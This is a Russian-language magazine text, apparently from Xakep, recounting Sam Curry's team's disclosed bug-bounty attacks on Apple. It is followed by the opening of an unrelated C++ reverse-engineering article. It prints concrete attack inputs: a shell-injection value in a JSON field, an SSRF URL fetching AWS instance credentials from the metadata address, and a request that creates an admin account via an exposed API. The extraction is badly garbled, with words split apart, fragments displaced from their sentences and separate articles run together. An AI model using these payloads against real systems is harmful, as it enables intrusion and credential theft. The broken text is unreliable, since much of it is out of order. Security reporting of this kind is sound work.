ки  —  он  добав лял  в  гипер ссыл ку  недос тающие  парамет ры  (вклю чая 

),  зак рывал  тег    и  завер шал обра бот чик  события  .
Теоре тичес ки  эта  уяз вимость  поз воля ет  зло умыш ленни кам  выпол нять  про‐ 
изволь ный код JavaScript в поч товом кли енте жер твы.

<script> script>

<a href

on‐
mouseover a> onmouseover

ДОСТУП К РЕПОЗИТОРИЮ С ИСХОДНИКАМИ
Од ним из самых любопыт ных багов, най ден ных коман дой Сэма Кар ри, была
уяз вимость  . Во вре мя тес тирова ния поч‐ 
товика  iCloud  пар ни  обна ружи ли,  что  поль зователь  может  откры вать  опре‐ 
делен ные  вло жения  в  сооб щения  с  помощью  фун кции  Open  in  Pages.
При  обра бот ке  фор мы  этой  фун кции  соз дает ся  спе циаль ный  HTTP‐зап рос,
содер жащий  параметр  URL,  в  котором  хра нит ся  адрес  вло жен ного  в  сооб‐ 
щение  фай ла.  Если  попытать ся  заменить  этот  адрес  любым  про изволь ным
зна чени ем, сер вер вер нет ошиб ку  . При обра бот ке зап роса
соз дает ся  задание,  в  котором  ответ  на  HTTP‐зап рос  пре обра зует ся
в документ Apple Pages, а затем откры вает ся в новой вклад ке.

Server‐Side Request Forgery (SSRF)

400 Bad Request

От вет на HTTP‐зап рос авто мати чес ки пре обра зует ся в документ Apple
Pages

При  этом  поч товик  раз реша ет  толь ко  URL‐адре са  из  домена 
  и  не  пре обра зовы вает  в  документ  Apple  Pages  стра ницы,  если

ответ сер вера отли чает ся от  . Во вре мя пре обра зова ния выпол няет ся
нес коль ко HTTP‐зап росов и фор миру ется оче редь заданий.

p37‐mailws.
icloud.com

200 OK

Во вре мя пре обра зова ния выпол няет ся нес коль ко HTTP‐зап росов
и фор миру ется оче редь заданий

Что бы  сло мать  этот  механизм,  дос таточ но  добавить  пос ле  раз решен ного
Apple адре са стро ку  , содер жащую домен, на который будет
перенап равлять ся  зап рос.  В  резуль тате  получен ный  HTML  будет  пре обра‐ 
зован в документ Apple Pages и открыт в новой вклад ке. Если зап рашива емый
с сер вера файл ока зывал ся слиш ком боль шим, поч товая прог рамма упа ковы‐ 
вала его в Zip и любез но пред лагала сох ранить на диск.

@ ourdomain.com

Для  авто мати зации  это го  про цес са  Бретт  Бюр хаус  соб рал  спе циаль ный
.  В  резуль тате  иссле дова тели  получи ли  дос туп  на  чте ние

к внут ренне му репози торию Apple Maven, где хра нят ся исходни ки некото рых
при ложе ний Apple.

скрипт  на  Python

Ха керы получи ли дос туп к репози торию Apple Maven

Бла года ря этой уяз вимос ти зло умыш ленни ки мог ли:
по лучить дос туп к исходни кам iOS в репози тории Мaven;•
по лучить дос туп ко все му содер жимому внут ренней сети Apple;•
пол ностью ском про мети ровать сеанс жер твы с помощью уяз вимос ти меж‐ 
сай тового  скрип тинга  из‐за  обще дос тупных  фай лов  cookie  в  HTTP‐зап‐ 
росе.

•

Тех ничес кую  схе му  этой  ата ки  Сэм  Кар ри  пред ста вил  на  сле дующей  диаг‐ 
рамме.

Тех ничес кая схе ма ата ки на получе ние дос тупа к репози торию Apple
Maven

Еще больше дыр
Дру гие кри тичес кие уяз вимос ти, обна ружен ные коман дой Кар ри:

об ход аутен тифика ции с помощью неп равиль но нас тро енных раз решений
обес печива ет ата кующе му дос туп гло баль ного адми нис тра тора;

•

инъ екции команд через некор рек тно очи щен ный аргу мент име ни фай ла;•
уда лен ное  выпол нение  про изволь ного  кода  через  утеч ку  сек рета
и оставлен ного откры тым инс тру мен та для адми нис тра торов;

•

утеч ка  памяти,  при водя щая  к  ком про мета ции  учет ных  записей  сот рудни‐ 
ков  и  поль зовате лей,  а  так же  откры вающая  дос туп  к  раз личным  внут‐ 
ренним при ложе ниям;

•

SQL‐инъ екции Vertica через некор рек тную очис тку вво да;•
сле пая XSS, поз воля ющая получить дос туп к внут ренне му пор талу под дер‐ 
жки для отсле жива ния проб лем кли ентов и сот рудни ков;

•

вы пол нение PhantomJS на сто роне сер вера, поз воля ющее получить дос‐ 
туп к внут ренним ресур сам и клю чам AWS IAM.

•

ИТОГИ
Боль шая  часть обна ружен ных  коман дой Сэма Кар ри  уяз вимос тей была зак‐ 
рыта  ком пани ей  Apple  в  течение  нес коль ких  часов  пос ле  баг‐репор та,
а самой коман де кор порация  , то есть при‐ 
мер но  250  дол ларов  за  одну  уяз вимость  на  челове ка.  Прав да,  пос ле  под‐ 
нятой  в  прес се  шумихи  Apple  перечис лила  коман де  Кар ри  в  общей  слож‐ 
ности 288 500 дол ларов, и  сум ма воз награж дения,  веро ятно, еще вырас тет
пос ле под твержде ния всех выяв ленных багов.

вып латила 55 100 дол ларов США

Сам  Кар ри  счи тает,  что  раз работан ная  Apple  прог рамма  Bug  Bounty  —
это  пра виль ный шаг  в  выс тра ива нии  диало га  с  хакера ми  и  серь езное  под‐ 
спорье  в  борь бе  за  безопас ность  «яблочных»  сер висов.  Пол ный  отчет
об обна ружен ных уяз вимос тях опуб ликован на сай те  .Samcurry.net

Вмес те с тем в сетевой инфраструк туре Apple име ется зна читель ное чис‐ 
ло  кри тич ных  сер висов,  таких  как  iCloud,  Apple  Store  и  плат форма  для  раз‐ 
работ чиков. Это очень слож ные прог рам мные ком плек сы, сос тоящие из мно‐ 
жес тва  веб‐при ложе ний,  в  которых  навер няка  оста ются  невы явленные  уяз‐ 
вимос ти. Так что пен тесте рам и «белым шля пам» еще есть где раз вернуть ся.
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ВЗЛОМ

Не дав няя  боль шая    на  инфраструк туру
Apple — одно из инте рес ней ших событий в инфо секе за пос‐ 
леднее вре мя. Сегод ня мы рас смот рим нес коль ко блес тяще
выпол ненных опе раций: взлом служ бы DELMIA Apriso, взлом
сер вера  authors.apple.com,  получе ние  исполь зуемых  Apple
сек ретных клю чей AWS, получе ние дос тупа к панели отладки
адми нис тра тора  Nova  и  ком про мета цию  сер веров  Apple
через иссле дова ние дам пов.

ата ка  «белых  шляп»

В предыдущей серии
В   мы рас ска зали о том, как про ходи ла под готов ка к ата ке,
как  был  взло ман  сайт  пре пода вате лей Apple,  получен дос туп  к  лич ным дан‐ 
ным поль зовате лей iCloud и к исходни кам iOS. Изу чив сай ты и веб‐при ложе‐ 
ния Apple, коман да в сос таве   (Sam Curry),   (Brett
Buerhaus),    (Ben Sadeghipour),    (Samuel Erb)
и    (Tanner Barnes)   11  кри тичес ких  уяз вимос тей, 29 —
с  высокой  сте пенью  потен циаль ной  опас ности,  13 —  сред ней  кри тич ности
и 2 — нек ритич ных.

пре дыду щей статье

Сэ ма Кар ри Брет та Бюр хауса
Бе на Садеги пура Сэ мюэля Эрба

Тан нера Бар нса наш ла

За под робный баг‐репорт взлом щики получи ли от Apple воз награж дение
в раз мере 288 500 дол ларов США.

ВЗЛОМ DELMIA APRISO
Про щупы вая свя зан ные с Apple домены, которых, к сло ву, боль ше семи тысяч,
хакеры  нат кну лись  на  веб‐при ложе ние  DELMIA  Apriso,  раз личные  вер сии
которо го  пред назна чены  для  управле ния  про изводс твен ными  про цес сами
и  скла дом  готовой  про дук ции.  Это  при ложе ние  не  при над лежит  Apple,
но исполь зует ся для дис три буции изде лий «яблочной» кор порации.

Ис сле дова тели  нем ного  поковы ряли  фор му  аутен тифика ции  и  механизм
сбро са пароля поль зовате ля DELMIA Apriso и в какой‐то момент с удив лени‐ 
ем обна ружи ли, что они авто ризо ваны в сис теме с име нем 

.
Apple No Pass‐

word User

Иног да авто риза ция в сис теме может стать пол ной неожи дан ностью

Вдум чивое изу чение это го ано маль ного явле ния показа ло, что в инфраструк‐ 
туре DELMIA Apriso  для  исполь зования фун кций  на опре делен ных  веб‐стра‐ 
ницах  поль зователь  дол жен  быть  обя затель но  авто ризо ван  в  сис теме,
и  сброс  пароля —  одна  из  таких  фун кций.  Пос коль ку  сама  задача  вос ста‐ 
новить  забытый  пароль  логичес ки  про тиво речит  воз можнос ти  авто риза ции,
раз работ чики соору дили кос тыль в виде обще дос тупной учет ки «поль зовате‐ 
ля Apple без пароля»,  который вро де и залоги нен в сис теме, а вро де и нет.
К сожале нию, эта «псев доучет ка» никаких при виле гий юзе ру не давала.

Ха керы отпра вили HTTP‐зап рос на эндпой нт OAuth, что бы сге нери ровать
токен Bearer для изу чения API веб‐при ложе ния. И это неожи дан но сра бота ло!
Тех ничес кая учет ная запись, все раз решения которой дол жны были сво дить‐ 
ся к воз можнос ти сбро сить пароль, смог ла сге нери ровать Bearer c дос тупом
к  вер сии  API  веб‐при ложе ния.  Оста лось  толь ко  нагуг лить  докумен тацию
к это му самому API.

Тех ничес кая учет ка сге нери рова ла Bearer с дос тупом к API

Ку рение  ману алов  поз волило  Кар ри  и  ком пании  обна ружить
более 5000 вызовов API, для которых не тре бова лась допол нитель ная авто‐ 
риза ция  за  исклю чени ем  уже  получен ного  токена.  Мно гие  из  этих  вызовов
были для взлом щиков бес полез ны, но некото рые давали воз можность, нап‐ 
ример,  менять  даты  зар плат  сот рудни ков,  соз давать  и  отме нять  отправ ку
товаров со скла да, редак тировать информа цию об инвента риза ции и выпол‐ 
нять сот ни дру гих склад ских опе раций.

Нап ример, одна из фун кций API име ет крас норечи вое наз вание 
. Мож но отпра вить при ложе нию GET‐зап рос на выпол нение

опе рации:

APL_Cre‐
ateEmployee_SO

   GET /Apriso/HttpServices/api/platform/1/Operations/operation HTTP/1.1
 Host: colormasters.apple.com

И получить от него HTTP‐отклик в сле дующем фор мате:

{
 "InputTypes": {
   "OrderNo": "Char",
   "OrderType": "Integer",
   "OprSequenceNo": "Char",
   "Comments": "Char",
   "strStatus": "Char",
   "UserName": "Char"
 },
 "OutputTypes": {},
 "OperationCode": "APL_Redacted",
 "OperationRevision": "APL.I.1.4"

}

Ис сле дова тели пот ратили немало вре мени, преж де чем поняли, что для пол‐ 
ноцен ного вызова API  необ ходимо отпра вить сер веру POST‐зап рос,  содер‐ 
жащий JSON в сле дующем фор мате:

{
 "inputs": {
   "param": "value"
 }

}

На момент  взло ма  хакеры не име ли  ни малей шего понятия о  том,  как фор‐ 
миру ется  подоб ный  вызов.  Сэм  Кар ри  даже  написал  элек трон ное  пись мо
в  тех поддер жку  DELMIA  Apriso  с  прось бой  рас ска зать,  как  пра виль но  фор‐ 
мировать вызовы API. Но спе циалис ты из сап порта про игно риро вали зап рос,
пос коль ку у Сэма не было под писки на их сер вис и он не чис лился в спис ке
лицен зион ных поль зовате лей соф та. Кар ри пот ратил поч ти шесть часов, под‐ 
бирая необ ходимые парамет ры, и это наконец уда лось.

Как ока залось, для кор рек тно го вызова фун кции 
нуж но было передать API ряд зна чений, осно ван ных на UUID. Их хакеры уста‐ 
нови ли,  отправ ляя  сер веру  дру гие  зап росы  и  ана лизи руя  откли ки.  Вско ре
ата кующие сфор мирова ли API‐зап рос сле дующе го вида:

APL_CreateEmployee_SO

   POST /Apriso/HttpServices/api/platform/1/Operations/redacted HTTP/1.1
 Host: colormasters.apple.com

 Authorization: Bearer redacted
 Connection: close

 Content‐Type: application/json
 Content‐Length: 380

{
 "inputs": {
   "Name": "Samuel Curry",
   "EmployeeNo": "redacted",
   "LoginName": "yourloginname123",
   "Password": "yourpassword123",
   "LanguageID": "redacted",
   "AddressID": "redacted",
   "ContactID": "redacted",
   "DefaultFacility": "redacted",
   "Department": "",
   "DefaultMenuItemID": "redacted",
   "RoleName": "redacted",
   "WorkCenter": ""
 }
}

Пос ле успешной обра бот ки это го зап роса хакеры наконец смог ли авто ризо‐ 
вать ся в сис теме с адми нис тра тор ски ми пра вами, дающи ми им пол ный кон‐ 
троль  над  прог рам мным  обес печени ем  для  управле ния  скла дом.  Пос ледс‐ 
твия такого взло ма, если бы он удал ся нас тоящим зло умыш ленни кам, пред‐ 
ста вить нет рудно.

В резуль тате успешно го взло ма был получен пол ный кон троль над скла ‐
дом

ВЗЛОМ СЕРВЕРА AUTHORS.APPLE.COM
Поль зовате лям  опе раци онных  сис тем  от  Apple  дос тупно  при ложе ние  ePub‐
lisher,  с  помощью  которо го  мож но  соз давать,  рас простра нять  и  про давать
элек трон ные  пуб ликации  в  фор мате  EPUB.  Для  заг рузки  кон тента  в  iTunes
Store и Apple Books инфраструк тура Apple исполь зует сер вис iTunes Connect.
Но что делать авто рам,  у  которых нет под рукой  iPhone или  iPad? В помощь
таким стра даль цам был соз дан спе циаль ный сер вис  .
Он  поз воля ет  заг рузить  собс твен ные  про изве дения  в  iTunes  Connect  Book.
Что бы выс тавить на про дажу кни гу в Apple Books, автор дол жен авто ризо вать‐ 
ся на стра нице сер виса, залить туда кар тинку обложки, саму кни гу и ее бес‐ 
плат ный озна коми тель ный фраг мент в фор мате EPUB.

Apple Books for Authors

Нем ного  поиг рав  с  этим  сер висом,  пар ни  попыта лись  заг рузить  в  Apple
Books  for  Authors  файл  EPUB  вер сии  1  с  битым  XHTML.  Инс тру мент  пуб‐ 
ликации выдал им целую прос тыню оши бок с опи сани ем при чин, по которым
он не смог про жевать этот файл.

HTTP-зап рос:
   POST /api/v1/validate/epub HTTP/1.1
 Host: authors.apple.com

{"epubKey":"2020_8_11/10f7f9ad‐2a8a‐44aa‐9eec‐8e48468de1d8_sample.
epub","providerId":"BrettBuerhaus2096637541"}

От вет HTTP:
[2020‐08‐11 21:49:59 UTC] <main> DBG‐X: parameter 
TransporterArguments = ‐m validateRawAssets ‐assetFile /tmp/10f7f9ad‐
2a8a‐44aa‐9eec‐8e48468de1d8_sample.epub ‐dsToken **hidden value** ‐
DDataCenters=contentdelivery.itunes.apple.com ‐Dtransporter.
client=BooksPortal ‐Dcom.apple.transporter.updater.disable=true ‐
verbose eXtreme ‐Dcom.transporter.client.version=1.0 ‐itc_provider 
BrettBuerhaus2096637541 

Как  ты  можешь  видеть,  нич то  не  меша ет  хакеру  засунуть  коман ду  в  JSON‐
параметр    и  попытать ся  скор мить  ее  сер веру.  При  сле дующей
заг рузке  фай ла  иссле дова тели  перех ватили  HTTP‐зап рос  и  изме нили  его
таким обра зом:

providerId

"providerId":"BrettBuerhaus2096637541||test123" 

И получи ли ответ:

/bin/sh: 1: test123: not found 

Ины ми  сло вами,  взлом щики  получи ли  дос туп  к  шел лу  сер вера.  Почему  бы
не  поп росить  его  показать  содер жимое  кор невой  пап ки?  Сер вер  охот но
выпол нил коман ду  .ls /

Ре зуль тат выпол нения коман ды ls / на сер вере authors.apple.com

Чем  гро зит  несан кци они рован ный  дос туп  к  шел лу  на  сер ваке  Apple,  объ‐ 
яснять,  думаю,  не  нуж но,  о  воз можных  пос ледс тви ях  догада ется  любой
скрипт‐кид ди.  Этот  взлом —  отличный  при мер  того,  нас коль ко  важ но  дос‐ 
кональ но изу чать инфраструк туру, на которую пла ниру ется ата ка. Взлом щики
начали с  iTunes Connect,  переш ли  к Apple Books и про тес тирова ли  все свя‐ 
зан ные с этим сер висом инс тру мен ты, пока не нат кну лись на брешь в защите.
Вот что об этом пишет сам Сэм Кар ри:

Это  хорошее  напоми нание  о  том,  что  сле дует  соб рать  как  мож но
боль ше  информа ции,  преж де  чем  вы  нач нете  спус кать ся  в  кро личьи
норы  взло ма.  Не  изу чая  спра воч ную  докумен тацию,  мы,  воз можно,
прос то  про пус тили  бы  веб‑при ложе ние  Еpub-upload,  пос коль ку
на него вела единс твен ная ссыл ка на стра нице одно го из мно гочис- 
ленных ману алов.

ОХОТА ЗА СЕКРЕТНЫМИ КЛЮЧАМИ AWS
Ма ло  соз дать  полез ный  кон тент  и  выложить  его  на  iTunes  или  Apple  Books.
Его  ник то  не  купит,  если  ты  не  будешь  рек ламиро вать  и  рас кру чивать  свой
про дукт.  Спе циаль но  для  этих  целей  в  Apple  при дума ли  инс тру мент  iTunes
Banner  Builder,  поз воля ющий  соз давать  кра сивые  бан неры  для  про дажи
музыки и под кастов на iTunes и в дру гих элек трон ных мар кетах Apple.

iTunes Banner Builder

Ко ман да Кар ри решила поэк спе римен тировать с бан нером для элек трон ной
книж ки  раз мером  300  на  250  пик селей.  Наз вание  кни ги  с  под черки вани ем,
соз данным при помощи HTML‐тега  , хакеры ука зали еще при регис тра ции
на  iTunes, и при соз дании бан нера оно авто мати чес ки под тянулось в Banner
Builder,  что  намека ло  на  потен циаль ную  воз можность  меж сай тового  скрип‐ 
тинга. А изу чение URL заг ружен ных через Banner Builder  кар тинок показа ло,
что они сох раня ются в облачное хра нили ще AWS S3. Попыт ка ата ки 

  с  инжектом  парамет ра  в  URL  изоб ражения  вер нула  вот  такое  сооб‐ 
щение об ошиб ке, отоб ража ющееся в виде кар тинки.

<u>

path tra‐
versal

Со обще ние об ошиб ке AWS S3

Из это го иссле дова тели сде лали  вывод,  что раз работ чики,  видимо,  исполь‐ 
зовали  какой‐то  headless‐бра узер  для  соз дания  скрин шотов  HTML‐фай лов
внут ри кор зины S3, что бы прев ратить их в кар тинку‐бан нер. Что бы поэк спе‐ 
римен тировать с XSS при генера ции таких кар тинок, хакеры попыта лись соз‐ 
дать  кни гу,  в  наз вании  которой  при сутс тво вал  тег  .
При этом в жур нале зап росов обна ружи лась любопыт ная стро ка:

<script  src="">

c=us
w=300 h=250

54.210.212.22 ‐ ‐ [21/Aug/2020:15:54:07 +0000] "GET /imgapple.js?
_=1598025246686 HTTP/1.1" 404 3901 "http://apple‐itunes‐banner‐
builder‐templates‐html‐stage.s3‐website‐us‐east‐1.amazonaws.com/
itunes/catalog_white/index.html?pr=itunes&t=catalog_white& &l=en‐
US&id=1528672619& & &store=books&cache=false" "Mozilla/5.0 (
Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) 
PhantomJS/2.1.1 Safari/538.1" 

Здесь  уда лось  обна ружить  кор зину  S3,  в  которую  нап равля ется  зап рос
для соз дания изоб ражения:

c=us w=300 h=250

http://apple‐itunes‐banner‐builder‐templates‐html‐stage.s3‐website‐
us‐east‐1.amazonaws.com/itunes/catalog_white/index.html?pr=itunes&
t=catalog_white& &l=en‐US&id=1528672619& & &store=books&
cache=false 

И user‐agent headless‐бра узе ра:  . Гуг леж показал, что у это‐ 
го  инс тру мен та  для  рен дерин га  кар тинок  име ются  извес тные  уяз вимос ти
XSS,  которые  неп лохо  докумен тирова ны.  Что бы  авто мати зиро вать  ата ки
с  под меной  зап росов  на  сто роне  сер вера,  пар ни  написа ли  , исполь‐ 
зующий  для  реали зации  полез ной  наг рузки  JS  XSS  и  отоб ражения  дан ных
эле мент  . Пос коль ку взлом щикам извес тна информа ция о ресур сах
Amazon,  которые исполь зуют ся для  генера ции  кар тинок, мож но соз дать URI
с метадан ными AWS:

PhantomJS/2.1.1

скрипт

<iframe>

c=us

w=800 h=800

https://banners.itunes.apple.com/bannerimages/banner.png?pr=itunes&
t=catalog_black& &l=en‐US&
id=1528672619%26cachebust=12345%26url=http://169.254.169.254/latest/
meta‐data/identity‐credentials/ec2/security‐credentials/ec2‐
instance%26& & &store=books&cache=false 

По это му зап росу генери рует ся новый бан нер, в фай ле которо го сох раня ются
сек ретные  клю чи  AWS  для  облачно го  сер виса  EC2.  Эти  све дения  могут
помочь  зло умыш ленни кам  получить  дос туп  к  сер висам  Amazon,  которы ми
поль зует ся Apple.

По луче ние сек ретных клю чей AWS с исполь зовани ем меж сай тового
скрип тинга

ДОСТУП К ПАНЕЛИ ОТЛАДКИ АДМИНИСТРАТОРА NOVA ЧЕРЕЗ
УТЕЧКУ ОШИБКИ REST
Ког да иссле дова тели при нялись изу чать при над лежащие Apple домены, они
обра тили  вни мание  на  инте рес ные  осо бен ности  ресур сов 

,    и  .  Исполь зуя  ,
пар ни  обна ружи ли  спе цифи чес кий  HTTP‐зап рос  к  ,  который
перенап равлял ся на   c токеном аутен тифика ции.

concierge.
apple.com s.apple.com events.apple.com Google  dorking

s.apple.com
events.apple.com

HTTP-зап рос
   GET /dQ{REDACTED}fE HTTP/1.1

 Host: s.apple.com

от вет HTTP
 HTTP/1.1 200

 Server: Apple
 Location: https://events.apple.com/content/events/retail_nso/ae/en/

applecampathome.html?token=fh{REDACTED}VHUba&a=1&l=e

За инте ресо вав шись  этим,  хакеры  вытащи ли  с  сер вера  фай лы  JavaScript
и при нялись изу чать их в поис ках эндпой нтов и мар шру тов API.

Важ ный этап взло ма — изу чение фай лов JavaScript

Боль ше  все го  их  заин тересо вал  путь  :  выяс‐ 
нилось,  что  при  переда че  это му  эндпой нту  недопус тимого  парамет ра 

 сер вер воз вра щает ошиб ку исклю чения REST.

/services/public/account
mar‐

ketCode

Ошиб ка исклю чения REST при переда че некор рек тно го парамет ра

Изу чив  сооб щение  об  ошиб ке,  иссле дова тели  обна ружи ли,  что  сер вер
перенап равил API‐зап рос на сле дующий адрес:

https://nova‐admin.corp.apple.com/services/locations/searchLocation?
locationName=t&rtm=1 

Так же в заголов ках зап росов и откли ках сер вера обна ружи лись куки и токен
авто риза ции,  который  сер вер  отправ ляет  для  выпол нения  зап росов  к  API

. Хакеры поп робова ли исполь зовать этот токен
и файл cookie и убе дились, что они дей стви тель ны, одна ко при попыт ке дос‐ 
тучать ся до сер вера он все рав но воз вра щал  .

nova‐admin.corp.apple.com

403 Forbidden
Для  даль нейше го  поис ка  уяз вимос тей  приш лось  при менить  ,

с  помощью  которо го  хакеры  получи ли  дос туп  к  фай лу 
.  Он  содер жал  огромное  количес тво  кон фигура цион ных  парамет‐ 

ров, зна чений, перемен ных и вызовов фун кций API. Так, сре ди про чего в нем
обна ружил ся сек ретный ключ AWS и дан ные crontab с сер вера.

фаз зинг
/services/debug.

func.php

Дан ные cron в фай ле debug.func.php

Та ким обра зом, дос туп к панели отладки поз волил зло умыш ленни кам выпол‐ 
нять коман ды на веб‐сер вере   с исполь зовани ем cron.nova.apple.com

ВЗЛОМ СЕРВЕРОВ APPLE ЧЕРЕЗ АНАЛИЗ ДАМПА
Еще на эта пе сбо ра информа ции об обще дос тупной сетевой инфраструк туре
Apple  коман да Сэма Кар ри обра тила вни мание на  груп пу доменов,  которые
объ еди няет  наличие  сло ва    в  их  име ни: 

,  ,
, 

,  , 
  и  .

При  обра щении  к    юзе ра  редирек тило  в  пап ку 
которая воз вра щала ошиб ку  .

esign https://esign‐app‐prod.
corp.apple.com/ https://esign‐corpapp‐prod.corp.apple.com/
https://esign‐internal.apple.com https://esign‐service‐prod.corp.
apple.com https://esign‐signature‐prod.corp.apple.com https://
esign‐viewer‐prod.corp.apple.com/ https://esign.apple.com/

esign.apple.com ,/viewer
you are not authorized

Пос коль ку  в  коде  самой  стра ницы  взлом щикам  не  уда лось  обна ружить
ничего  инте рес ного,  они  при нялись  переби рать  воз можные  эндпой нты
по сло варю, пока наконец не нат кну лись на работа ющий URL 

.  По  это му  адре су  обыч но  рас полага ется  сер вис  для  монито рин га
работос пособ ности  Java‐при ложе ний,  явля ющий ся  ком понен том  Spring
Framework.  Этот  сер вис  выдал  ата кующим  перечень  всех  сво их  дос тупных
конеч ных точек, вклю чая heapdump — URL дам па кучи при ложе ния.

/viewer/actu‐
ator

Эн дпой нт /viewer/actuator выдал хакерам мно го полез ной информа ции

По пыт ки  изме нить  сос тояние  акту ато ра,  отправ ляя  зап росы  на  уда лен ное
выпол нение кода, не увен чались успе хом, и коман де Кар ри приш лось искать
дру гой спо соб. Сопос тавляя пути из Actuator, они наш ли нес коль ко суб дирек‐ 
торий в кор невой пап ке сер вера, где хра нились допол нитель ные дам пы кучи
это го  веб‐при ложе ния,  при чем  такие  пап ки  с  дос тупом  на  чте ние  для  всех
жела ющих обна ружи лись на всех доменах   из спис ка.esign

Вы тащив  отту да  дам пы,  хакеры  заг рузили  их  в  ,
экспор тирова ли стро ки в файл   и прош лись по нему коман дой  .

Eclipse  Memory  Analyzer
.csv grep

Пар синг вытащен ного с сер веров Apple дам па

В  этом  фай ле  уда лось  отыс кать  имя  cookie  для  аутен тифика ции  при ложе‐ 
ния —  . Поиск в дам пах по стро ке   выдал сам файл сес сион ного
cookie.  На  этом  эта пе  взлом щики  были  уве рены,  что  это  токен  сот рудни ка
Apple, а не кли ента, ина че бы его не тес тирова ли. Исполь зование фай ла поз‐ 
волило  получить  дос туп  к  при ложе нию  и  более  50  эндпой нтов,  вклю чая
некото рые  адми нис тра тив ные  нас трой ки  Actuator.  Кро ме  того,  этот  cookie
аутен тифици ровал хакеров и для ряда дру гих веб‐при ложе ний Apple. На этом
иссле дова тели  решили  оста новить ся,  сооб щив  о  выяв ленной  уяз вимос ти
в Apple.

acack acack

ВЫВОДЫ
По мимо  огромно го  количес тва  собс твен ных  сер веров  и  доменов,  совокуп‐ 
ность которых в Купер тино называ ют тер мином Applenet, кор порация активно
поль зует ся  облачны ми  ресур сами  Amazon  и  при ложе ниями  сто рон них  раз‐ 
работ чиков,  так же  име ющи ми  уяз вимос ти.  Дотош ные  иссле дова тели  могут
обна ружить их и исполь зовать  в  собс твен ных целях — нап ример,  сооб щить
о  выяв ленных  бре шах  в  сетевом  перимет ре  кор порации  и  получить  воз‐ 
награж дение, как это сде лала коман да Сэма Кар ри.

За лог успе ха на дан ном поп рище — тща тель ная раз ведка, вдум чивое изу‐ 
чение докумен тации и вни матель ность к деталям. Толь ко сочета ние этих фак‐ 
торов поз волит пен тесте рам про ник нуть вглубь кро личь ей норы, а глав ное —
вер нуть ся обратно.
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ВЗЛОМ

Как  работа ет  выделе ние  и  осво бож дение  памяти?  Каким
обра зом  устро ены  обыч ные  и  умные  ука зате ли  в  C++?
Как  рас познать  опе рато ры  работы  с  памятью,  исполь зуя
дизас сем блер, не понима ющий их истинную при роду? Что бы
во  всем  этом  разоб рать ся,  нам  пред сто ит  по  бай тикам
разоб рать механиз мы рас пре деле ния динами чес кой памяти
при ложе ния  (ины ми  сло вами,  кучи)  двух  самых  популяр ных
ком пилято ров  и  выявить  раз личия  в  их  работе.  Поэто му
в  статье  нас  ждет  мно жес тво  дизас сем блер ных  лис тингов
и кода на C++.

Фундаментальные основы хакерства
Пят надцать  лет  назад  эпи чес кий  труд  Кри са  Кас пер ски  «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова‐ 
теля  в  области  компь ютер ной  безопас ности. Одна ко  вре мя  идет,  и  зна ния,
опуб ликован ные  Кри сом,  теря ют  акту аль ность.  Редак торы  «Хакера»  попыта‐ 
лись  обно вить  этот  объ емный  труд  и  перенес ти  его  из  вре мен  Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на  .стра нице авто ра

ИДЕНТИФИКАЦИЯ УКАЗАТЕЛЯ THIS
Ука затель    —  это  нас тоящий  золотой  клю чик  или,  если  угод но,  спа‐ 
сатель ный круг, поз воля ющий не уто нуть в бур ном оке ане ООП. Имен но бла‐ 
года ря   мож но опре делять при над лежность вызыва емой фун кции к тому
или  ино му  клас су.  Пос коль ку  все  невир туаль ные  фун кции  объ екта  вызыва‐ 
ются непос редс твен но — по фак тичес кому адре су, объ ект как бы рас щепля‐ 
ется на сос тавля ющие его фун кции еще на ста дии ком пиляции. Не будь ука‐ 
зате лей  ,  вос ста новить  иерар хию  фун кций  было  бы  прин ципи аль но
невоз можно!

this

this

this

Та ким обра зом, пра виль ная иден тифика ция   очень важ на. Единс твен‐ 
ная проб лема: как отли чить его от ука зате лей на мас сивы и струк туры? Ведь
экзем пляр клас са иден тифици рует ся по ука зате лю   (если на выделен ную
память ука зыва ет  , это экзем пляр клас са), одна ко сам   по опре деле‐ 
нию —  это  ука затель,  ссы лающий ся  на  экзем пляр  клас са.  Зам кну тый  круг!
К счастью, есть одна лазей ка... Код, манипу лиру ющий ука зате лем  , весь‐ 
ма спе цифи чен, что и поз воля ет отли чить   от всех осталь ных ука зате лей.

this

this
this this

this
this

Во обще‐то  у  каж дого  ком пилято ра  свой  почерк,  который  нас тоятель но
рекомен дует ся  изу чить,  дизас сем бли руя  собс твен ные  прог раммы  на  C++,
но сущес тву ют и  уни вер саль ные рекомен дации, при мени мые к боль шинс тву
реали заций. Пос коль ку   — это неяв ный аргу мент каж дой фун кции — чле‐ 
на  клас са,  то  логич но  отло жить  раз говор  о  его  иден тифика ции  до  раз дела
«Иден тифика ция аргу мен тов фун кций». Здесь же мы обсу дим, как реали зуют
переда чу ука зате ля   самые популяр ные ком пилято ры.

this

this
Здесь мы, конеч но, говорим об архи тек туре x64. На 32‐бит ной плат форме

парамет ры,  выров ненные  до  32‐бит ного  раз мера,  переда ются  через  стек.
С дру гой сто роны,  на 64‐бит ной плат форме дела обсто ят  инте рес нее:  пер‐ 
вые  четыре целочис ленных  аргу мен та  переда ются  в  регис трах  ,  ,  ,
. Если целочис ленных аргу мен тов боль ше, осталь ные раз меща ются в сте‐ 

ке.  Аргу мен ты,  име ющие  зна чения  с  пла вающей  запятой,  переда ются
в регис трах  ,  ,  ,  . При этом 16‐бит ные аргу мен ты переда‐ 
ются по ссыл ке. Замечу, все это каса ется сог лашения о вызовах в опе раци‐ 
онных  сис темах  Microsoft  (Microsoft  ABI),  в  Unix‐подоб ных  сис темах  дела
обсто ят по‐дру гому. Но не будем рас пылять на них свое вни мание.

RCX RDX R8
R9

XMM0 XMM1 XMM2 XMM3

Оба про тес тирован ных мною  ком пилято ра,  Visual C++ 2019 и C++Builder
10.3, незави симо от сог лашения вызова фун кции ( ,  , 

,  ,  )  переда ют  ука затель    в  регис тре  ,
что соот ветс тву ет его при роде:   — целочис ленный аргу мент.

__cdecl __clrcall __st‐
dcall __fastcall __thiscall this RCX

this

ИДЕНТИФИКАЦИЯ ОПЕРАТОРОВ NEW И DELETE
Опе рато ры   и   тран сли руют ся ком пилято ром в вызовы биб лиотеч‐ 
ных  фун кций,  которые  могут  быть  рас позна ны  точ но  так  же,  как  и  обыч ные
биб лиотеч ные фун кции. Авто мати чес ки рас позна вать биб лиотеч ные фун кции
